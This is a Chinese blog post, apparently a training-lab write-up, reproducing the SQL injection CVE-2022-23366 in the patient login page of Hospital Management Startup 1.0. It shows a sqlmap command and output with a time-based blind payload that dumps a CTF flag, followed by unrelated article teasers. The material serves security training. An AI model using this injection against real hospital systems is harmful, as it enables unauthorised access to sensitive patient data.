Hospital Management Startup 1.0 SQL 注入漏洞（CVE-2022-23366）

前言

CVE-2022-23366是一个影响HMS v1.0的SQL注入漏洞。该漏洞存在于patientlogin.php文件中，允许攻击者通过特定的SQL注入来获取或修改数据库中的敏感信息。

具体来说，攻击者可以通过向patientlogin.php发送恶意构造的SQL语句来绕过身份验证，访问受保护的数据，甚至可能修改或删除数据库中的数据。此漏洞的CVSS v3评分为9.8，表明其严重性极高，因为无需认证就能被远程利用，且会导致高度的机密性、完整性和可用性影响​ (MITRE CVE)​​ (Tenable®)​。

该漏洞的详细信息和修复措施可以在Packet Storm Security和GitHub上找到。这些资源提供了更多技术细节和补救措施，建议用户尽快更新或修复受影响的系统。

春秋云镜靶场是一个专注于网络安全培训和实战演练的平台，旨在通过模拟真实的网络环境和攻击场景，提升用户的网络安全防护能力和实战技能。这个平台主要提供以下功能和特点：

实战演练：

提供各种网络安全攻防演练场景，模拟真实的网络攻击事件，帮助用户在实际操作中掌握网络安全技术。
场景涵盖Web安全、系统安全、网络安全、社工攻击等多个领域。

漏洞复现：

用户可以通过平台对已知的安全漏洞进行复现，了解漏洞的产生原因、利用方法和修复措施。
通过实战操作，帮助用户掌握漏洞利用和防护的技能。

教学培训：

提供系统化的网络安全课程，从基础到高级，覆盖多个安全领域，适合不同水平的用户。
包含理论讲解和实战操作，帮助学员全面提升网络安全知识和实战能力。

竞赛与评测：

定期举办网络安全竞赛，如CTF（Capture The Flag）比赛，激发学员的学习兴趣和动力。
提供个人和团队的安全能力评测，帮助学员了解自己的安全技能水平。

资源共享：

平台提供丰富的学习资源，包括教程、工具、案例分析等，方便用户随时查阅和学习。
用户可以在社区中分享经验和资源，互相交流和学习。

春秋云镜靶场适合网络安全从业人员、学生以及对网络安全感兴趣的个人，通过在平台上进行不断的学习和实战演练，可以有效提升网络安全技能和防护能力。

介绍

Hospital Management Startup (HMS) v1.0 是一个用于医疗机构管理的软件系统，旨在简化和优化医院的日常运营和管理。以下是其主要功能和特点：

主要功能

  1. 患者管理

    • 提供详细的患者信息记录，包括基本信息、病历、治疗记录等。
    • 支持患者入院、出院和转院管理。

  2. 预约系统

    • 提供在线预约功能，患者可以方便地预约医生。
    • 医生可以查看和管理预约信息，安排日程。

  3. 医生管理

    • 记录和管理医生的详细信息，包括资格、专长和工作安排。
    • 支持医生的绩效评估和工作记录管理。

  4. 药品管理

    • 记录药品库存和使用情况，包括药品的采购、库存管理和分发。
    • 提供药品使用报告，帮助医院进行库存管理。

  5. 财务管理

    • 管理医院的财务收支，包括挂号费、治疗费和药品费等。
    • 提供财务报告和统计分析，帮助医院进行财务规划。

  6. 实验室管理

    • 管理实验室检验项目和结果，记录患者的检验报告。
    • 提供检验数据分析，辅助医生诊断和治疗。

  7. 病房管理

    • 管理病房信息，包括病房分配、使用情况和维护记录。
    • 实时监控病房状态，优化资源配置。

优势

  • 提高管理效率：通过信息化管理，减少人工操作，提高工作效率和准确性。
  • 优化患者体验：提供便捷的预约和就诊服务，提升患者满意度。
  • 数据安全：通过权限管理和数据加密，确保患者信息和医院数据的安全。
  • 支持决策分析：提供详细的统计分析和报告，辅助医院管理层进行决策。

应用场景

  • 综合医院：适用于大中型综合医院，提升医院的管理效率和服务质量。
  • 专科医院：适用于专科医院，根据需要定制功能，专注特定领域的管理。
  • 诊所和门诊部：适用于小型医疗机构，提高日常运营的效率。

总结

Hospital Management Startup (HMS) v1.0 是一款全面的医疗管理软件，致力于通过信息化手段优化医院的管理流程，提升工作效率和服务质量。它适用于各种类型和规模的医疗机构，是现代医院管理的理想选择。

漏洞复现

打开靶场

网上搜索了一下关于这个 CVE 的详细信息 

进入靶场后页面长这样

在导航栏 LOG IN 中发现下拉导航栏有与目标漏洞文件关联的选项 

随便输入数值，登录时使用 BurpSuite 开启拦截数据包

复制数据包的值到 txt 文件中 

使用 SQLMap 开跑

D:\CVE\sqlmap-master>python sqlmap.py -r sqlmap-post.txt -D “ctf” -T "flag" -C "flag" --dump
        ___
       __H__
 ___ ___[.]_____ ___ ___  {1.8.6.17#dev}
|_ -| . [,]     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:12:45 /2024-07-03/

[23:12:45] [INFO] parsing HTTP request from 'sqlmap-post.txt'
[23:12:45] [INFO] resuming back-end DBMS 'mysql'
[23:12:45] [INFO] testing connection to the target URL
[23:12:47] [WARNING] the web server responded with an HTTP error code (502) which could interfere with the results of the tests
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: loginid (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: loginid=admin' AND (SELECT 6249 FROM (SELECT(SLEEP(5)))gTyH) AND 'YjsK'='YjsK&password=123456&submit=Login
---
[23:12:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[23:12:47] [INFO] fetching entries of column(s) 'flag' for table 'flag' in database 'ctf'
[23:12:47] [INFO] fetching number of column(s) 'flag' entries for table 'flag' in database 'ctf'
[23:12:47] [INFO] resumed: 1
[23:12:47] [INFO] resumed: flag{a17af7eb-5fd8-4069-bb42-7335ed8c6b97
Database: ctf
Table: flag
[1 entry]
+-------------------------------------------+
| flag                                      |
+-------------------------------------------+
| flag{a17af7eb-5fd8-4069-bb42-7335ed8c6b97}|
+-------------------------------------------+

[23:12:47] [INFO] table 'ctf.flag' dumped to CSV file 'C:\Users\ydd33\AppData\Local\sqlmap\output\eci-2zeaey91a1p0r8n85s0e.cloudeci1.ichunqiu.com\dump\ctf\flag.csv'
[23:12:47] [WARNING] HTTP error codes detected during run:
502 (Bad Gateway) - 1 times
[23:12:47] [INFO] fetched data logged to text files under 'C:\Users\ydd33\AppData\Local\sqlmap\output\eci-2zeaey91a1p0r8n85s0e.cloudeci1.ichunqiu.com'

[*] ending @ 23:12:47 /2024-07-03/

本文来自互联网用户投稿，该文观点仅代表作者本人，不代表本站立场。本站仅提供信息存储空间服务，不拥有所有权，不承担相关法律责任。如若转载，请注明出处：/a/787290.html

如若内容造成侵权/违法违规/事实不符，请联系我们进行投诉反馈qq邮箱809451989@qq.com，一经查实，立即删除！

相关文章

基于 sftp 的 NAS (局域网文件存储服务器)

基于 sftp 的 NAS (局域网文件存储服务器)

局域网 NAS (文件存储服务器) 的基本功能有: 能够存储文件, 同时能够通过多个设备访问 (上传/下载) 文件. 这些功能通过 sftp 可以实现. sftp 是基于 SSH 的文件传输协议, SSH 全程加密传输, 使用 公钥 认证 (不使用密码/口令), 能够提供很高的安全性. 上文说到, 在 LVM 和 bt…
阅读更多...
大数据------JavaWeb------FilterListenerAJAXAxiosJSON

大数据------JavaWeb------FilterListenerAJAXAxiosJSON

Filter Filter简介 定义：Filter表示过滤器，是JavaWeb三大组件（Servlet、Filter、Listener）之一。 作用：它可把对资源（Servlet、JSP、Html）的请求拦截下来从而实现一些特殊功能 过滤器一般完成…
阅读更多...
绝区陆--大语言模型的幻觉问题是如何推动科学创新

绝区陆--大语言模型的幻觉问题是如何推动科学创新

介绍 大型语言模型 (LLM)（例如 GPT-4、LLaMA-2、PaLM-2、Claude-2 等）已展示出为各种应用生成类似人类文本的出色能力。然而，LLM 的一个鲜为人知的方面是它们倾向于“产生幻觉”或生成不正确或没有根据的事实陈述。我不认为这仅仅是一个限制…
阅读更多...
苍穹外卖前后端搭建

苍穹外卖前后端搭建

文章目录 参考开发环境搭建前端环境搭建1、 前端工程基于 nginx2、启动nginx，访问测试后端环境搭建1、从资料中找到后端初始工程：2、用 IDEA 打开初始工程，了解项目的整体结构：数据库环境搭建前后端联调nginx反向代理和负载均衡1、nginx反向代理2、nginx 负载均衡完善登录功…
阅读更多...
博客标题：C++中的继承：构建面向对象的基石

博客标题：C++中的继承：构建面向对象的基石

目录 ​编辑 引言 继承的基本形式 示例1：基本继承 继承的类型 示例2：不同类型的继承 多重继承 示例3：多重继承 继承与多态性 示例4：继承与多态 结论 结尾 引言 在面向对象编程（OOP）中&#xff…
阅读更多...
飞跃边界，尽在掌握 —— Jump Desktop 8 for Mac，远程工作新体验！

飞跃边界，尽在掌握 —— Jump Desktop 8 for Mac，远程工作新体验！

Jump Desktop 8 for Mac 是一款强大的远程桌面控制软件，专为追求高效工作与生活平衡的用户设计。它允许您轻松地从Mac设备上远程访问和控制另一台电脑或服务器，无论是跨房间、跨城市还是跨国界，都能实现无缝连接，仿佛操作就在眼前…
阅读更多...
TIA博途与威纶通触摸屏无实物仿真调试的具体方法示例

TIA博途与威纶通触摸屏无实物仿真调试的具体方法示例

TIA博途与威纶通触摸屏无实物仿真调试的具体方法示例 准备条件： TIA PORTAL V16 S7-PLCSIM V16 EasyBuilderPro V6.9.1 NetToPLCsim V1.2.5 如有需要，可以在这个链接中下载 NetToPLCSim - Browse Files at SourceForge.net538 weekly downloads3 weekly downloads12 weekly d…
阅读更多...
参数手册 ： PXIe-1095

参数手册 ： PXIe-1095

PXIe-1095 起售价 RMB 97,950.00 产品详细信息 PXI机箱类型: PXIe 机箱电源类型: 交流 混合插槽数量: 5 PXI Express插槽数量: 11 冗余硬件选项: 是 最大系统带宽: 24 GB/s 插槽数量: 18 PXI插槽数量: 0 系统定时插槽: 是 槽冷却能力: 82 瓦 简介 PXIe，18槽&am…
阅读更多...
回溯算法-以学生就业管理系统为例

回溯算法-以学生就业管理系统为例

1.回溯算法介绍 1.来源 回溯算法也叫试探法，它是一种系统地搜索问题的解的方法。 用回溯算法解决问题的一般步骤： 1、 针对所给问题，定义问题的解空间，它至少包含问题的一个（最优）解。 2 、确定易于搜…
阅读更多...
Vuforia AR篇（八）— AR塔防上篇

Vuforia AR篇（八）— AR塔防上篇

目录 前言一、设置Vuforia AR环境1. 添加AR Camera2. 设置目标图像 二、创建塔防游戏基础1. 导入素材2. 搭建场景3. 创建敌人4. 创建脚本 前言 在增强现实（AR）技术快速发展的今天，Vuforia作为一个强大的AR开发平台，为开发者提供了…
阅读更多...
探索横河AQ6370E系列光谱仪隐藏功能！---高级标记功能！

探索横河AQ6370E系列光谱仪隐藏功能！---高级标记功能！

横河AQ6370E系列光谱仪的这款光谱仪的传统功能中，其实还隐藏了一个特别实用的功能——高级标记功能！前所未有的方式解析数据与测量信号，不仅带来了全新的测试体验，还提升了测量速度，那么这个功能怎么找到呢&#xff0c…
阅读更多...
中国支付清算协会注销5家单位会员资格

中国支付清算协会注销5家单位会员资格

7月1日，中国支付清算协会公告显示，按照《中国支付清算协会章程》《中国支付清算协会会员管理办法》等相关规定，经审议，中国支付清算协会决定注销江苏通付盾科技有限公司、北京丰瑞祥信息技术股份有限公司、山东新北洋信息技术股份…
阅读更多...
24-7-9-读书笔记（九）-《爱与生的苦恼》[德]叔本华 [译]金玲

24-7-9-读书笔记（九）-《爱与生的苦恼》[德]叔本华 [译]金玲

文章目录 《爱与生的苦恼》阅读笔记记录总结 《爱与生的苦恼》 《爱与生的苦恼》叔本华大佬的名书，里面有其“臭名昭著”的《论女人》，抛开这篇其他的还是挺不错的，哲学我也是一知半解，这里看得也凭喜好，这里记录一些自…
阅读更多...
c++语法之函数重载

c++语法之函数重载

引例 我们在C语言里面写add函数的时候，只能支持一种类型的相加，除非我们创建多个add函数： 但是这样写并不方便，于是就有了c的函数重载。 函数重载 函数重载就是可以将多个参数类型、顺序、数量不同，实现逻辑相同的函…
阅读更多...
Linux——开发工具

Linux——开发工具

1.yum yum是centos中的一个软件下载安装管理客户端，可以下载需要的软件或者解决依赖关系问题（如动态库）。程序都是来源于一段源代码，为了方便下载，源代码被提前在不同的环境下编译好生成对应的yum软件包，存…
阅读更多...
微信小程序毕业设计-书店系统项目开发实战(附源码+论文)

微信小程序毕业设计-书店系统项目开发实战(附源码+论文)

大家好！我是程序猿老A，感谢您阅读本文，欢迎一键三连哦。 💞当前专栏：微信小程序毕业设计 精彩专栏推荐👇🏻👇🏻👇🏻 🎀 Python毕业设计…
阅读更多...
EPSON LQ80KF II驱动 打印机 0x00000003e3

EPSON LQ80KF II驱动 打印机 0x00000003e3

1.添加打印机 2.按名次选择共享打印机,输入共享打印机ip 3.选择创建新端口 4.选择打印机驱动
阅读更多...
音频demo：将PCM数据与alaw、mulaw、g711数据的相互转换

音频demo：将PCM数据与alaw、mulaw、g711数据的相互转换

1、README 前言 (截图来源：https://blog.csdn.net/u014470361/article/details/88837776) 我的理解： 首先需要知道的是u-law/a-law是用于脉冲编码的压缩/解压缩算法。而G.711是指在8KHz采样率（单声道）中，使用的u-law或…
阅读更多...
192.168.1.1路由器管理系统使用教程

192.168.1.1路由器管理系统使用教程

节选自：192.168.1.1路由器管理系统-厂商有哪些-如何使用-无法登录原因-苏州稳联 什么是 192.168.1.1 路由器管理系统？ 192.168.1.1 是大多数家庭路由器的默认 IP 地址，用于访问路由器的管理控制台。通过这个管理系统，用户可以配…
阅读更多...
Redis数据类型和数据队列

Redis数据类型和数据队列

一.Redis数据类型 参考资料：http://www.redis.cn/topics/data-types.html 相关命令参考: http://redisdoc.com/ Redis 是一种基于内存的开源数据结构存储系统，支持多种数据类型，每种数据类型都有自己特定的操作命令。 String（字…
阅读更多...
最新文章

Copyright @ 2022~2023